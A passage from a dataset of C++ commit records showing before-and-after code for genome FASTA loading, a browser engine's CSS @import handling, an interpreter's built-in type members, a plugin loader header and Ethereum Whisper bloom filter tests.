exitWithError(errOut.str(),std::cerr, P->inOut->logMain, EXIT_CODE_INPUT_FILES, *P);\n        };         while(!fileIn.eof()) {\/\/read each file until eof\n            string lineIn (4096,'.');\n            getline(fileIn,lineIn);\n            if (lineIn[0]=='>') {\/\/new chromosome\n                if (!flagRun) {\n                    istringstream lineInStream (lineIn);\n                    lineInStream.ignore(1,' ');\n                    string chrName1;\n                    lineInStream >> chrName1;\n                    P->chrName.push_back(chrName1);\n                };\n\n                if (!flagRun && P->chrStart.size()>0) P->chrLength.push_back(N-P->chrStart.at(P->chrStart.size()-1)); \/\/true length of the chr\n\n                if (N>0) {\/\/pad the chromosomes to bins boudnaries\n                    N = ( (N+1)\/P->genomeChrBinNbases+1 )*P->genomeChrBinNbases;\n                };\n\n                if (!flagRun) {\n                    P->chrStart.push_back(N);\n                    P->inOut->logMain << P->genomeFastaFiles.at(ii)<<\" : chr # \" << P->chrStart.size()-1 << \"  \\\"\"<<P->chrName.at(P->chrStart.size()-1)<<\"\\\" chrStart: \"<<N<<\"\\n\"<<flush;\n                };\n            } else {\/\/char lines\n                if (flagRun) lineIn.copy(G+N,lineIn.size(),0);\n                N += lineIn.size();\n            };\n        };\n        fileIn.close();\n    };\n\n\n    if (!flagRun) P->chrLength.push_back(N-P->chrStart.at(P->chrStart.size()-1)); \/\/true length of the last chr\n\n    N = ( (N+1)\/P->genomeChrBinNbases+1)*P->genomeChrBinNbases;\n\n    if (!flagRun)\n    {\n        P->nChrReal=P->chrStart.size();\n        P->chrStart.push_back(N); \/\/last chromosome end+1\n        for (uint ii=0;ii<P->nChrReal;ii++) {\n            P->chrNameIndex[P->chrName[ii]]=ii;\n        };\n    } else\n    {\/\/convert the genome to 0,1,2,3,4\n        for (uint jj=0;jj<N;jj++) {\n            switch (int(G[jj])){\n                case(65): case(97):  G[jj]=char(0);break;\/\/A\n                case(67): case(99):  G[jj]=char(1);break;\/\/C\n                case(71): case(103): G[jj]=char(2);break;\/\/G\n                case(84): case(116): G[jj]=char(3);break;\/\/T\n                case(78): case(110): G[jj]=char(4);break;\/\/N\n                case(48):            G[jj]=GENOME_spacingChar;break;\/\/chromosomal breaks within the sequences\n                default:              \/\/anything else\n                    if (G[jj]!=GENOME_spacingChar) {\n                         \/\/P->inOut->logMain << \"Unexpected character: char=\"<< G[jj] << \"   int=\"<<int(G[jj])<<\"   at \" << jj << \" , replacing with N\\n\";\n                         G[jj]=char(4);\n                    };\n            };\n        };\n    };\n\n    return N;\n};\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2011-2013 Esrille Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"CSSImportRuleImp.h\"\n\n#include <boost\/bind.hpp>\n#include <boost\/version.hpp>\n#include <boost\/iostreams\/stream.hpp>\n#include <boost\/iostreams\/device\/file_descriptor.hpp>\n\n#include \"DocumentImp.h\"\n#include \"WindowImp.h\"\n\n#include \"CSSInputStream.h\"\n#include \"CSSParser.h\"\n#include \"CSSStyleSheetImp.h\"\n\n#include \"http\/HTTPRequest.h\"\n\n#include \"Test.util.h\"\n\nnamespace org\n{\nnamespace w3c\n{\nnamespace dom\n{\nnamespace bootstrap\n{\n\nusing namespace css;\n\nCSSImportRuleImp::CSSImportRuleImp(const std::u16string& href) :\n    href(href),\n    mediaList(MediaListImp::All),\n    request(0),\n    styleSheet(0)\n{\n}\n\nCSSImportRuleImp::~CSSImportRuleImp()\n{\n    delete request;\n}\n\n\/\/ CSSRule\nunsigned short CSSImportRuleImp::getType()\n{\n    return CSSRule::IMPORT_RULE;\n}\n\nstd::u16string CSSImportRuleImp::getCssText()\n{\n    std::u16string text = u\"@import url(\" + href + u\")\";\n    std::u16string media = mediaList.getMediaText();\n    if (!media.empty())\n        text += u\" \" + media;\n    return text;\n}\n\n\/\/ CSSImportRule\nstd::u16string CSSImportRuleImp::getHref()\n{\n    return href;\n}\n\nstylesheets::MediaList CSSImportRuleImp::getMedia()\n{\n    return &mediaList;\n}\n\nvoid CSSImportRuleImp::setMedia(const std::u16string& media)\n{\n    mediaList.setMediaText(media);\n}\n\ncss::CSSStyleSheet CSSImportRuleImp::getStyleSheet()\n{\n    if (!styleSheet && !href.empty() && !request) {  \/\/ TODO: deal with ins. mem\n        request = new(std::nothrow) HttpRequest(document->getDocumentURI());\n        if (request) {\n            request->open(u\"GET\", href);\n            request->setHandler(boost::bind(&CSSImportRuleImp::notify, this));\n            document->incrementLoadEventDelayCount();\n            request->send();\n        }\n    }\n    return styleSheet;\n}\n\nvoid CSSImportRuleImp::notify()\n{\n    if (request->getStatus() == 200) {\n#if 104400 <= BOOST_VERSION\n        boost::iostreams::stream<boost::iostreams::file_descriptor_source> stream(request->getContentDescriptor(), boost::iostreams::never_close_handle);\n#else\n        boost::iostreams::stream<boost::iostreams::file_descriptor_source> stream(request->getContentDescriptor(), false);\n#endif\n        CSSParser parser;\n        CSSInputStream cssStream(stream, request->getResponseMessage().getContentCharset(), utfconv(document->getCharacterSet()));\n        styleSheet = parser.parse(document, cssStream);\n        if (auto imp = dynamic_cast<CSSStyleSheetImp*>(styleSheet.self()))\n            imp->setParentStyleSheet(getParentStyleSheet());\n        if (4 <= getLogLevel())\n            dumpStyleSheet(std::cerr, styleSheet.self());\n    }\n    document->decrementLoadEventDelayCount();\n\n    if (WindowImp* view = document->getDefaultWindow())\n        view->setFlags(1);\n}\n\n}\n}\n}\n}\n<commit_msg>(CSSImportRuleImp::notify): Fix a bug<commit_after>\/*\n * Copyright 2011-2013 Esrille Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"CSSImportRuleImp.h\"\n\n#include <boost\/bind.hpp>\n#include <boost\/version.hpp>\n#include <boost\/iostreams\/stream.hpp>\n#include <boost\/iostreams\/device\/file_descriptor.hpp>\n\n#include \"DocumentImp.h\"\n#include \"WindowImp.h\"\n\n#include \"CSSInputStream.h\"\n#include \"CSSParser.h\"\n#include \"CSSStyleSheetImp.h\"\n\n#include \"http\/HTTPRequest.h\"\n\n#include \"Test.util.h\"\n\nnamespace org\n{\nnamespace w3c\n{\nnamespace dom\n{\nnamespace bootstrap\n{\n\nusing namespace css;\n\nCSSImportRuleImp::CSSImportRuleImp(const std::u16string& href) :\n    href(href),\n    mediaList(MediaListImp::All),\n    request(0),\n    styleSheet(0)\n{\n}\n\nCSSImportRuleImp::~CSSImportRuleImp()\n{\n    delete request;\n}\n\n\/\/ CSSRule\nunsigned short CSSImportRuleImp::getType()\n{\n    return CSSRule::IMPORT_RULE;\n}\n\nstd::u16string CSSImportRuleImp::getCssText()\n{\n    std::u16string text = u\"@import url(\" + href + u\")\";\n    std::u16string media = mediaList.getMediaText();\n    if (!media.empty())\n        text += u\" \" + media;\n    return text;\n}\n\n\/\/ CSSImportRule\nstd::u16string CSSImportRuleImp::getHref()\n{\n    return href;\n}\n\nstylesheets::MediaList CSSImportRuleImp::getMedia()\n{\n    return &mediaList;\n}\n\nvoid CSSImportRuleImp::setMedia(const std::u16string& media)\n{\n    mediaList.setMediaText(media);\n}\n\ncss::CSSStyleSheet CSSImportRuleImp::getStyleSheet()\n{\n    if (!styleSheet && !href.empty() && !request) {  \/\/ TODO: deal with ins. mem\n        request = new(std::nothrow) HttpRequest(document->getDocumentURI());\n        if (request) {\n            request->open(u\"GET\", href);\n            request->setHandler(boost::bind(&CSSImportRuleImp::notify, this));\n            document->incrementLoadEventDelayCount();\n            request->send();\n        }\n    }\n    return styleSheet;\n}\n\nvoid CSSImportRuleImp::notify()\n{\n    if (request->getStatus() == 200) {\n#if 104400 <= BOOST_VERSION\n        boost::iostreams::stream<boost::iostreams::file_descriptor_source> stream(request->getContentDescriptor(), boost::iostreams::never_close_handle);\n#else\n        boost::iostreams::stream<boost::iostreams::file_descriptor_source> stream(request->getContentDescriptor(), false);\n#endif\n        CSSParser parser;\n        CSSInputStream cssStream(stream, request->getResponseMessage().getContentCharset(), utfconv(document->getCharacterSet()));\n        styleSheet = parser.parse(document, cssStream);\n        if (auto imp = dynamic_cast<CSSStyleSheetImp*>(styleSheet.self()))\n            imp->setParentStyleSheet(getParentStyleSheet());\n        if (4 <= getLogLevel())\n            dumpStyleSheet(std::cerr, styleSheet.self());\n    }\n    document->decrementLoadEventDelayCount();\n\n    if (WindowImp* view = document->getDefaultWindow())\n        view->setFlags(Box::NEED_SELECTOR_REMATCHING);\n}\n\n}\n}\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <sstream>\n#include \"std_members.h\"\n#include \"types.h\"\n#include \"symtable.h\"\n\ncx_symtab *std_members = nullptr;\n\nvoid init_std_members (void) {\n    \/\/ initialize after basic types are init\n\n    struct {\n        cx_symtab_node *p_node;\n        std::string name;\n        cx_function_code code;\n        m_call member_call;\n        cx_type *p_type;\n    } type_members[] = {\n        { nullptr, \"each\", func_std_iterator, &cx_std_members::each, p_void_type},\n        { nullptr, \"size\", func_std_member, &cx_std_members::size, p_integer_type},\n        { nullptr, \"length\", func_std_member, &cx_std_members::length, p_integer_type},\n        { nullptr, \"to_str\", func_std_member, &cx_std_members::to_str, new cx_type(fc_array, 0, nullptr)},\n        { nullptr, \"to_wstr\", func_std_member, &cx_std_members::to_wstr, new cx_type(fc_array, 0, nullptr)},\n        { nullptr, \"to_int\", func_std_member, &cx_std_members::to_int, p_integer_type},\n        { nullptr, \"to_chr\", func_std_member, &cx_std_members::to_chr, p_char_type},\n        { nullptr, \"to_flt\", func_std_member, &cx_std_members::to_flt, p_float_type},\n        { nullptr, \"to_bool\", func_std_member, &cx_std_members::to_bool, p_boolean_type},\n        { nullptr, \"to_wchr\", func_std_member, &cx_std_members::to_wchr, p_wchar_type},\n        { nullptr, \"to_byte\", func_std_member, &cx_std_members::to_byte, p_uint8_type}\n    };\n    \/\/ allocate std member functions for basic types\n    std_members = new cx_symtab;\n\n    p_integer_type->complex.p_class_scope = std_members;\n    p_uint8_type->complex.p_class_scope = std_members;\n    p_float_type->complex.p_class_scope = std_members;\n    p_boolean_type->complex.p_class_scope = std_members;\n    p_char_type->complex.p_class_scope = std_members;\n    p_wchar_type->complex.p_class_scope = std_members;\n\n    for (auto &member : type_members) {\n        member.p_node = std_members->enter(member.name.c_str(), dc_function);\n        member.p_node->defn.routine.iterator.postfix = 0;\n        member.p_node->defn.routine.std_member = member.member_call;\n        member.p_node->defn.routine.which = member.code;\n        member.p_node->defn.routine.parm_count = 0;\n        member.p_node->defn.routine.total_parm_size = 0;\n        member.p_node->defn.routine.locals.p_parms_ids = nullptr;\n        member.p_node->defn.routine.locals.p_constant_ids = nullptr;\n        member.p_node->defn.routine.locals.p_type_ids = nullptr;\n        member.p_node->defn.routine.locals.p_variable_ids = nullptr;\n        member.p_node->defn.routine.locals.p_function_ids = nullptr;\n\n        set_type(member.p_node->p_type, member.p_type);\n\n        if (member.name == \"to_str\") {\n            set_type(member.p_node->p_type->array.p_element_type, p_char_type);\n        } else if (member.name == \"to_wstr\") {\n            set_type(member.p_node->p_type->array.p_element_type, p_wchar_type);\n        }\n\n    }\n}\n\ncx_type *cx_std_members::size (cx_executor* cx,\n                               cx_symtab_node* cx_function_id,\n                               const cx_type *p_type) {\n    cx->pop();\n    cx_stack_item *p_size_val = new cx_stack_item;\n    p_size_val->basic_types.int__ = p_type->size;\n    cx->push((void*) p_size_val);\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::length (cx_executor *cx,\n                                 cx_symtab_node *cx_function_id,\n                                 const cx_type *p_type) {\n\n    cx->pop();\n    cx_stack_item *p_length_val = new cx_stack_item;\n\n    p_type->form == fc_array ?\n            p_length_val->basic_types.int__ = p_type->array.element_count :\n            p_length_val->basic_types.int__ = 1;\n\n    cx->push((void *) p_length_val);\n\n    return cx_function_id->p_type;\n}\n\n\/** @TODO - needs to be fixed for wide char\n *\/\ncx_type *cx_std_members::to_str (cx_executor *cx,\n                                 cx_symtab_node *cx_function_id,\n                                 const cx_type *p_type) {\n\n    std::stringstream ss;\n    ss.clear();\n\n    cx_stack_item *mem = nullptr;\n\n    \/\/\/if (p_type->.how == dc_reference) {\n        mem = cx->top();\n    \/\/} else {\n        mem = (cx_stack_item *) cx->top()->basic_types.addr__;\n    \/\/}\n\n    switch (p_type->type_code) {\n        case cx_int:\n            ss << mem->basic_types.int__ << '\\0';\n            break;\n        case cx_char:\n            ss << mem->basic_types.char__ << '\\0';\n            break;\n        case cx_wchar:\n            ss << mem->basic_types.wchar__ << '\\0';\n            break;\n        case cx_float:\n            ss << mem->basic_types.float__ << '\\0';\n            break;\n        case cx_bool:\n            ss << (mem->basic_types.bool__ ? \"true\" : \"false\") << '\\0';\n            break;\n        case cx_uint8:\n            ss << (int) mem->basic_types.uint8__ << '\\0';\n            break;\n        default:\n            ss << mem->basic_types.addr__ << '\\0';\n            break;\n    }\n\n    cx->pop();\n\n    const int size = ss.str().size() - 1;\n    const int length = ss.str().length() - 1;\n\n    cx_type *p_str = new cx_type(fc_array, size, nullptr);\n    set_type(p_str->array.p_element_type, p_char_type);\n    p_str->array.element_count = length;\n    p_str->array.max_index = length;\n\n    char *p_to_str = (char *) malloc(size + 1);\n    memcpy(p_to_str, ss.str().c_str(), size + 1);\n\n    cx->push((void *) p_to_str);\n\n    return p_str;\n}\n\ncx_type *cx_std_members::to_wstr (cx_executor *cx,\n                                  cx_symtab_node *cx_function_id,\n                                  const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::to_int (cx_executor *cx,\n                                 cx_symtab_node *cx_function_id,\n                                 const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::to_chr (cx_executor *cx,\n                                 cx_symtab_node *cx_function_id,\n                                 const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::to_flt (cx_executor *cx,\n                                 cx_symtab_node *cx_function_id,\n                                 const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::to_bool (cx_executor *cx,\n                                  cx_symtab_node *cx_function_id,\n                                  const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::to_wchr (cx_executor *cx,\n                                  cx_symtab_node *cx_function_id,\n                                  const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::to_byte (cx_executor *cx,\n                                  cx_symtab_node *cx_function_id,\n                                  const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::each (cx_executor *cx,\n                               cx_symtab_node *cx_function_id,\n                               const cx_type *p_type) {\n\n    \/*int *iteration = &cx_function_id->defn.routine.iterator.current_iteration;\n    const int end = cx_function_id->defn.routine.iterator.p_node->p_type->array.element_count;\n\n    int loop_start = cx_function_id->defn.routine.iterator.at_loop_start;*\n\n    \/*for (*iteration = 0; *iteration < end; ++*iteration) {\n        cx->execute_variable(cx_function_id->defn.routine.iterator.p_node, true);*\/\n    cx->execute_iterator(cx_function_id);\n    \/*cx->goto_location(loop_start);\n    cx->get_next_token();\n}*\/\n\n    return cx_function_id->p_type;\n}<commit_msg>gh-page<commit_after>#include <sstream>\n#include \"std_members.h\"\n#include \"types.h\"\n#include \"symtable.h\"\n\ncx_symtab *std_members = nullptr;\n\nvoid init_std_members (void) {\n    \/\/ initialize after basic types are init\n\n    struct {\n        cx_symtab_node *p_node;\n        std::string name;\n        cx_function_code code;\n        m_call member_call;\n        cx_type *p_type;\n    } type_members[] = {\n        { nullptr, \"each\", func_std_iterator, &cx_std_members::each, p_void_type},\n        { nullptr, \"size\", func_std_member, &cx_std_members::size, p_integer_type},\n        { nullptr, \"length\", func_std_member, &cx_std_members::length, p_integer_type},\n        { nullptr, \"to_str\", func_std_member, &cx_std_members::to_str, new cx_type(fc_array, 0, nullptr)},\n        { nullptr, \"to_wstr\", func_std_member, &cx_std_members::to_wstr, new cx_type(fc_array, 0, nullptr)},\n        { nullptr, \"to_int\", func_std_member, &cx_std_members::to_int, p_integer_type},\n        { nullptr, \"to_chr\", func_std_member, &cx_std_members::to_chr, p_char_type},\n        { nullptr, \"to_flt\", func_std_member, &cx_std_members::to_flt, p_float_type},\n        { nullptr, \"to_bool\", func_std_member, &cx_std_members::to_bool, p_boolean_type},\n        { nullptr, \"to_wchr\", func_std_member, &cx_std_members::to_wchr, p_wchar_type},\n        { nullptr, \"to_byte\", func_std_member, &cx_std_members::to_byte, p_uint8_type}\n    };\n    \/\/ allocate std member functions for basic types\n    std_members = new cx_symtab;\n\n    p_integer_type->complex.p_class_scope = std_members;\n    p_uint8_type->complex.p_class_scope = std_members;\n    p_float_type->complex.p_class_scope = std_members;\n    p_boolean_type->complex.p_class_scope = std_members;\n    p_char_type->complex.p_class_scope = std_members;\n    p_wchar_type->complex.p_class_scope = std_members;\n\n    for (auto &member : type_members) {\n        member.p_node = std_members->enter(member.name.c_str(), dc_function);\n        member.p_node->defn.routine.iterator.postfix = 0;\n        member.p_node->defn.routine.std_member = member.member_call;\n        member.p_node->defn.routine.which = member.code;\n        member.p_node->defn.routine.parm_count = 0;\n        member.p_node->defn.routine.total_parm_size = 0;\n        member.p_node->defn.routine.locals.p_parms_ids = nullptr;\n        member.p_node->defn.routine.locals.p_constant_ids = nullptr;\n        member.p_node->defn.routine.locals.p_type_ids = nullptr;\n        member.p_node->defn.routine.locals.p_variable_ids = nullptr;\n        member.p_node->defn.routine.locals.p_function_ids = nullptr;\n\n        set_type(member.p_node->p_type, member.p_type);\n\n        if (member.name == \"to_str\") {\n            set_type(member.p_node->p_type->array.p_element_type, p_char_type);\n        } else if (member.name == \"to_wstr\") {\n            set_type(member.p_node->p_type->array.p_element_type, p_wchar_type);\n        }\n\n    }\n}\n\ncx_type *cx_std_members::size (cx_executor* cx,\n                               cx_symtab_node* cx_function_id,\n                               const cx_type *p_type) {\n    cx->pop();\n    cx_stack_item *p_size_val = new cx_stack_item;\n    p_size_val->basic_types.int__ = p_type->size;\n    cx->push((void*) p_size_val);\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::length (cx_executor *cx,\n                                 cx_symtab_node *cx_function_id,\n                                 const cx_type *p_type) {\n\n    cx->pop();\n    cx_stack_item *p_length_val = new cx_stack_item;\n\n    p_type->form == fc_array ?\n            p_length_val->basic_types.int__ = p_type->array.element_count :\n            p_length_val->basic_types.int__ = 1;\n\n    cx->push((void *) p_length_val);\n\n    return cx_function_id->p_type;\n}\n\n\/** @TODO - needs to be fixed for wide char\n *\/\ncx_type *cx_std_members::to_str (cx_executor *cx,\n                                 cx_symtab_node *cx_function_id,\n                                 const cx_type *p_type) {\n\n    std::stringstream ss;\n    ss.clear();\n\n    cx_stack_item *mem = nullptr;\n\n    \/\/\/if (p_type->.how == dc_reference) {\n       \/\/ mem = cx->top();\n    \/\/} else {\n        mem = (cx_stack_item *) cx->top()->basic_types.addr__;\n    \/\/}\n\n    switch (p_type->type_code) {\n        case cx_int:\n            ss << mem->basic_types.int__ << '\\0';\n            break;\n        case cx_char:\n            ss << mem->basic_types.char__ << '\\0';\n            break;\n        case cx_wchar:\n            ss << mem->basic_types.wchar__ << '\\0';\n            break;\n        case cx_float:\n            ss << mem->basic_types.float__ << '\\0';\n            break;\n        case cx_bool:\n            ss << (mem->basic_types.bool__ ? \"true\" : \"false\") << '\\0';\n            break;\n        case cx_uint8:\n            ss << (int) mem->basic_types.uint8__ << '\\0';\n            break;\n        default:\n            ss << mem->basic_types.addr__ << '\\0';\n            break;\n    }\n\n    cx->pop();\n\n    const int size = ss.str().size() - 1;\n    const int length = ss.str().length() - 1;\n\n    cx_type *p_str = new cx_type(fc_array, size, nullptr);\n    set_type(p_str->array.p_element_type, p_char_type);\n    p_str->array.element_count = length;\n    p_str->array.max_index = length;\n\n    char *p_to_str = (char *) malloc(size + 1);\n    memcpy(p_to_str, ss.str().c_str(), size + 1);\n\n    cx->push((void *) p_to_str);\n\n    return p_str;\n}\n\ncx_type *cx_std_members::to_wstr (cx_executor *cx,\n                                  cx_symtab_node *cx_function_id,\n                                  const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::to_int (cx_executor *cx,\n                                 cx_symtab_node *cx_function_id,\n                                 const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::to_chr (cx_executor *cx,\n                                 cx_symtab_node *cx_function_id,\n                                 const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::to_flt (cx_executor *cx,\n                                 cx_symtab_node *cx_function_id,\n                                 const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::to_bool (cx_executor *cx,\n                                  cx_symtab_node *cx_function_id,\n                                  const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::to_wchr (cx_executor *cx,\n                                  cx_symtab_node *cx_function_id,\n                                  const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::to_byte (cx_executor *cx,\n                                  cx_symtab_node *cx_function_id,\n                                  const cx_type *p_type) {\n\n    return cx_function_id->p_type;\n}\n\ncx_type *cx_std_members::each (cx_executor *cx,\n                               cx_symtab_node *cx_function_id,\n                               const cx_type *p_type) {\n\n    \/*int *iteration = &cx_function_id->defn.routine.iterator.current_iteration;\n    const int end = cx_function_id->defn.routine.iterator.p_node->p_type->array.element_count;\n\n    int loop_start = cx_function_id->defn.routine.iterator.at_loop_start;*\n\n    \/*for (*iteration = 0; *iteration < end; ++*iteration) {\n        cx->execute_variable(cx_function_id->defn.routine.iterator.p_node, true);*\/\n    cx->execute_iterator(cx_function_id);\n    \/*cx->goto_location(loop_start);\n    cx->get_next_token();\n}*\/\n\n    return cx_function_id->p_type;\n}<|endoftext|>"}
{"text":"<commit_before><commit_msg>trivial: Make CI happy<commit_after><|endoftext|>"}
{"text":"<commit_before>#pragma once\n#include <PluginFactory\/details\/PluginHandle.hpp>\n#include <PluginFactory\/details\/build_traits.hpp>\n\n#include <boost\/filesystem\/path.hpp>\n#include <string>\n\nnamespace PluginFactory { namespace details {\n    \n    \/\/ The primary template has a null implementation.\n    \/\/ Actual implementations will live in specializations.\n    template<build_traits::Platform Platform>\n    class PluginLoaderImpl\n    {\n    public:\n        PluginLoaderImpl(const boost::filesystem::path& \/*pluginPath*\/){}\n        \n        void validateCompiler(const std::string& \/*compilerToken*\/) {}\n        void validatePluginVersion(const std::string& \/*pluginVersion*\/) {}\n        void validatePluginServiceVersion(const std::string& \/*serviceVersion*\/) {}\n        \n        template<class PluginInterface, class PluginServiceInterface>\n        PluginHandle<PluginInterface, PluginServiceInterface> getPluginHandle()\n        {\n            return PluginHandle<PluginInterface, PluginServiceInterface>();\n        }\n    };\n}}\n<commit_msg>Removing constructor from primary template definition of PluginLoaderImpl.<commit_after>#pragma once\n#include <PluginFactory\/details\/build_traits.hpp>\n#include <string>\n\nnamespace boost { namespace filesystem {\n    class path;\n}}\n\nnamespace PluginFactory { namespace details {\n    \n    \/\/ The primary template has none of the methods specified.\n    template<build_traits::Platform Platform>\n    struct PluginLoaderImpl\n    {\n    };\n}}\n<|endoftext|>"}
{"text":"<commit_before>\/*\nThis file is part of cpp-ethereum.\n\ncpp-ethereum is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\ncpp-ethereum is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with cpp-ethereum.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file whisperMessage.cpp\n* @author Vladislav Gluhovsky <vlad@ethdev.com>\n* @date June 2015\n*\/\n\n#include <boost\/test\/unit_test.hpp>\n#include <libdevcore\/SHA3.h>\n#include <libwhisper\/BloomFilter.h>\n\nusing namespace std;\nusing namespace dev;\nusing namespace dev::shh;\n\nusing TopicBloomFilterShort = TopicBloomFilterBase<4>;\nusing TopicBloomFilterTest = TopicBloomFilterBase<c_topicBloomFilterSize>;\n\nvoid testAddNonExisting(TopicBloomFilterShort& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(!_f.containsRaw(_h));\n\t_f.addRaw(_h);\n\tBOOST_REQUIRE(_f.containsRaw(_h));\n}\n\nvoid testRemoveExisting(TopicBloomFilterShort& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(_f.containsRaw(_h));\n\t_f.removeRaw(_h);\n\tBOOST_REQUIRE(!_f.containsRaw(_h));\n}\n\nvoid testAddNonExistingBloom(TopicBloomFilterShort& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(!_f.containsBloom(_h));\n\t_f.addBloom(_h);\n\tBOOST_REQUIRE(_f.containsBloom(_h));\n}\n\nvoid testRemoveExistingBloom(TopicBloomFilterShort& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(_f.containsBloom(_h));\n\t_f.removeBloom(_h);\n\tBOOST_REQUIRE(!_f.containsBloom(_h));\n}\n\ndouble calculateExpected(TopicBloomFilterTest const& f, int n)\n{\n\tint const m = f.size * 8; \/\/ number of bits in the bloom\n\tint const k = f.BitsPerBloom; \/\/ number of hash functions (e.g. bits set to 1 in every bloom)\n\n\tdouble singleBitSet = 1.0 \/ m; \/\/ probability of any bit being set after inserting a single bit\n\tdouble singleBitNotSet = (1.0 - singleBitSet);\n\n\tdouble singleNot = 1; \/\/ single bit not set after inserting N elements in the bloom filter\n\tfor (int i = 0; i < k * n; ++i)\n\t\tsingleNot *= singleBitNotSet;\n\n\tdouble single = 1.0 - singleNot; \/\/ probability of a single bit being set after inserting N elements in the bloom filter\n\n\tdouble kBitsSet = 1; \/\/ probability of K bits being set after inserting N elements in the bloom filter\n\tfor (int i = 0; i < k; ++i)\n\t\tkBitsSet *= single;\n\n\treturn kBitsSet;\n}\n\ndouble testFalsePositiveRate(TopicBloomFilterTest const& f, int inserted, Topic& x)\n{\n\tint const c_sampleSize = 1000;\n\tint falsePositive = 0;\n\n\tfor (int i = 0; i < c_sampleSize; ++i)\n\t{\n\t\tx = sha3(x);\n\t\tAbridgedTopic a(x);\n\t\tif (f.containsBloom(a))\n\t\t\t++falsePositive;\n\t}\n\n\tdouble res = double(falsePositive) \/ double(c_sampleSize);\n\n\tdouble expected = calculateExpected(f, inserted);\n\tdouble allowed = expected * 1.2 + 0.05; \/\/ allow deviations ~25%\n\n\t\/\/cnote << \"Inserted: \" << inserted << \", False Positive Rate: \" << res << \", Expected: \" << expected;\n\tBOOST_REQUIRE(res <= allowed);\n\treturn expected;\n}\n\nBOOST_AUTO_TEST_SUITE(bloomFilter)\n\nBOOST_AUTO_TEST_CASE(falsePositiveRate)\n{\n\tVerbosityHolder setTemporaryLevel(10);\n\tcnote << \"Testing Bloom Filter False Positive Rate...\";\n\n\tTopicBloomFilterTest f;\n\tTopic x(0xC0DEFEED); \/\/ deterministic pseudorandom value\n\n\tdouble expectedRate = 0;\n\n\tfor (int i = 1; i < 50 && isless(expectedRate, 0.5); ++i)\n\t{\n\t\tx = sha3(x);\n\t\tf.addBloom(AbridgedTopic(x));\n\t\texpectedRate = testFalsePositiveRate(f, i, x);\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(bloomFilterRandom)\n{\n\tVerbosityHolder setTemporaryLevel(10);\n\tcnote << \"Testing Bloom Filter matching...\";\n\n\tTopicBloomFilterShort f;\n\tvector<AbridgedTopic> vec;\n\tTopic x(0xDEADBEEF);\n\tint const c_rounds = 4;\n\n\tfor (int i = 0; i < c_rounds; ++i, x = sha3(x))\n\t\tvec.push_back(abridge(x));\n\n\tfor (int i = 0; i < c_rounds; ++i) \n\t\ttestAddNonExisting(f, vec[i]);\n\n\tfor (int i = 0; i < c_rounds; ++i)\n\t\ttestRemoveExisting(f, vec[i]);\n\n\tfor (int i = 0; i < c_rounds; ++i) \n\t\ttestAddNonExistingBloom(f, vec[i]);\n\n\tfor (int i = 0; i < c_rounds; ++i)\n\t\ttestRemoveExistingBloom(f, vec[i]);\n}\n\nBOOST_AUTO_TEST_CASE(bloomFilterRaw)\n{\n\tVerbosityHolder setTemporaryLevel(10);\n\tcnote << \"Testing Raw Bloom matching...\";\n\n\tTopicBloomFilterShort f;\n\n\tAbridgedTopic b00000001(0x01);\n\tAbridgedTopic b00010000(0x10);\n\tAbridgedTopic b00011000(0x18);\n\tAbridgedTopic b00110000(0x30);\n\tAbridgedTopic b00110010(0x32);\n\tAbridgedTopic b00111000(0x38);\n\tAbridgedTopic b00000110(0x06);\n\tAbridgedTopic b00110110(0x36);\n\tAbridgedTopic b00110111(0x37);\n\n\ttestAddNonExisting(f, b00000001);\n\ttestAddNonExisting(f, b00010000);\t\n\ttestAddNonExisting(f, 